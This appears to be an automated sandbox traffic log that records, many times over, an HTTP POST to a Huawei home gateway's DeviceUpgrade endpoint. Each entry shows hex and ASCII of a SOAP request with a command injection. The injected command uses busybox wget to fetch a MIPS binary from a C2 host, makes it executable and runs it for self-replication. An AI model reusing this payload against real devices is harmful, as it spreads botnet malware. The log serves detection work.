2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * 